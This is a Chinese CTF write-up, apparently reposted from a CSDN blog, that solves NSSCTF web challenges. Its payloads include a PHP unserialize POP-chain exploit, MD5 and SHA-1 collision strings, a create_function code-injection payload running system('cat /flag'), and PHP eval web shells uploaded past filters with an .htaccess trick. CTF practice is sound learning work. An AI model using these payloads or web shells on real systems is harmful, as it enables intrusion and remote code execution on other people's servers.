您的位置:首页 > 科技 > 能源 > NSSCTF中的popchains、level-up、 What is Web、 Interesting_http、 BabyUpload

NSSCTF中的popchains、level-up、 What is Web、 Interesting_http、 BabyUpload

2024/12/23 10:27:04 来源:https://blog.csdn.net/2401_82388450/article/details/139411273  浏览:    关键词:NSSCTF中的popchains、level-up、 What is Web、 Interesting_http、 BabyUpload

目录

[NISACTF 2022]popchains 

[NISACTF 2022]level-up 

[HNCTF 2022 Week1]What is Web

[HNCTF 2022 Week1]Interesting_http 

[GXYCTF 2019]BabyUpload

今日总结:


[NISACTF 2022]popchains 

审计可以构造pop链的代码

<php
class Road_is_Long{public $page;public $string;public function __construct($file='index.php'){$this->page = $file;}public function __toString(){return $this->string->page;}public function __wakeup(){if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {echo "You can Not Enter 2022";$this->page = "index.php";}}
}class Try_Work_Hard{protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Make_a_Change{public $effort;public function __construct(){$this->effort = array();}public function __get($key){$function = $this->effort;return $function();}
} 
?>

分析可得:

1.发现Try_Work_Hard这个类中,存在文件包含漏洞,需要触发__invoke这个魔术方法

2.去寻找将对象作为函数使用的位置,注意到Make_a_change的_get()方法将自身的effort属性作为函数使用,这里需要触发_get()这个魔术方法

3.发现Road_is_long类中tostring()方法直接调用自身string的page,可将自身的string赋值为Make_a_change类,来触发get方法,_tostring一般在echo处触发,观察发现不存在echo的触发点,但是直接将对象作为字符串拼接,或将其作为一些字符串函数的参数也会触发_tostring

4.观察到Road_is_long类中_wakeup方法将自身page作为preg_match函数的参数,若page为对象,则会触发tostring方法。自此,pop链构造完成。

<php
class Road_is_Long{public $page;public $string;
}class Try_Work_Hard{protected  $var="php://filter/convert.base64-encode/resource=/flag";
}class Make_a_Change{public $effort;
} 
$a=new Make_a_Change();
$a ->effort=new Try_Work_Hard();
$b=new Road_is_Long();
$b ->string= $a;
$c=new Road_is_Long();
$c ->page= $b;
echo urlencode(serialize($c));
?>

传参再解码可得flag 

[NISACTF 2022]level-up 

资料参考:md5强比较的几种绕过,强碰撞,shal强比较的几种绕过,强碰撞-CSDN博客

1.查看源代码,可得以下内容,看到disallow,想到robots.txt

2.访问这个文件,可得以下内容

3.访问这个php文件,进行代码审计,进行MD5绕过,这里不能使用数组绕过,但因为存在(string)强制类型转换,所有不能使用数组绕过,只能进行MD5碰撞,得到第三个文件

array1=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&array2=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

4.访问第三个文件,发现进行了shal加密,shal加密的与md5的一样,如果是强比较,没有转为string,可以用数组例如 a[]=1&b[]=2来绕过,也可以用强碰撞,如果是强比较,转为string,只能用强碰撞

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

 

5.进入第四层,关于parse_url可以用///绕过,这里绕过_,用[或者+绕过,得到第五层

6. 访问最后一个文件,进行代码审计,发现需要进行get传参

对传参内容的解释:

1.create_function(string a, string b)会创造一个匿名函数,传入的两个参数均为字符串

其中,字符串a中表示函数需要传入的参数,字符串b表示函数中的执行语句。

2.因为create_function自带eval命令执行,因此我们需要传入$a\create_function

而对于参数$b,我们需要让它执行system()函数,用于回显flag,因此传入$b}system('cat /flag');//

3.首先因为正则的关系,我们不能以字母和数字开头,所以我们可以用\符号开头,它不会影响函数的运行

4.我们用}开头为的就是进行闭合,这样我们可以进行我们想执行的代码,而后面的//为的是把原本的}符号给注释掉,这样我们就执行了system('cat /flag')函数

 <?php
function lambda_1() {
}system('cat /flag');
//}

[HNCTF 2022 Week1]What is Web

1.在源代码中发现base64编码

2.解码可得flag

[HNCTF 2022 Week1]Interesting_http 

1.根据题目,进行post传参,并输入相关的命令

2.发现没有什么回显

 3.发现方法错了,重新进行传参

4.根据提示输入want=flag,提示你不是用户,这里想到bp抓包

5.将not admin修改为admin,发现回显为"Not location"

 6.添加XFF头,得到flag

[GXYCTF 2019]BabyUpload

1.随便上传一个php文件,发现出现以下回显

2.上传一个jpg文件,出现以下内容

 3.根据提示,改变一句话木马的格式<%execute(request("shell"))%>,然后在以jpg的格式进行上传,发现上传成功,这里只是测试,但是此木马格式不能连接蚁剑,此步可省略

 4.上传成功,但是是jpg格式,于是想到使用.htaccess文件,上传文件,出现以下内容

5.修改类型为jpeg,发现上传成功 

 6.再上传带有木马的jpg的文件,上传成功

此文件内容为:

<script language=php>@eval($_POST[shell]);</script>

这里需要注意构造payload 

 7.使用蚁剑连接,在根目录下找到flag

今日总结:

1.知道MD5中的强碰撞和shel强比较

2.了解了create_function()函数的使用,并知道了一种绕过正则新的方式,使用这个\符号来绕过正则

3.若上传的一句话木马不能是明显的php标志可以改木马为<script language=php>@eval($_POST[shell]);</script>进行绕过

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com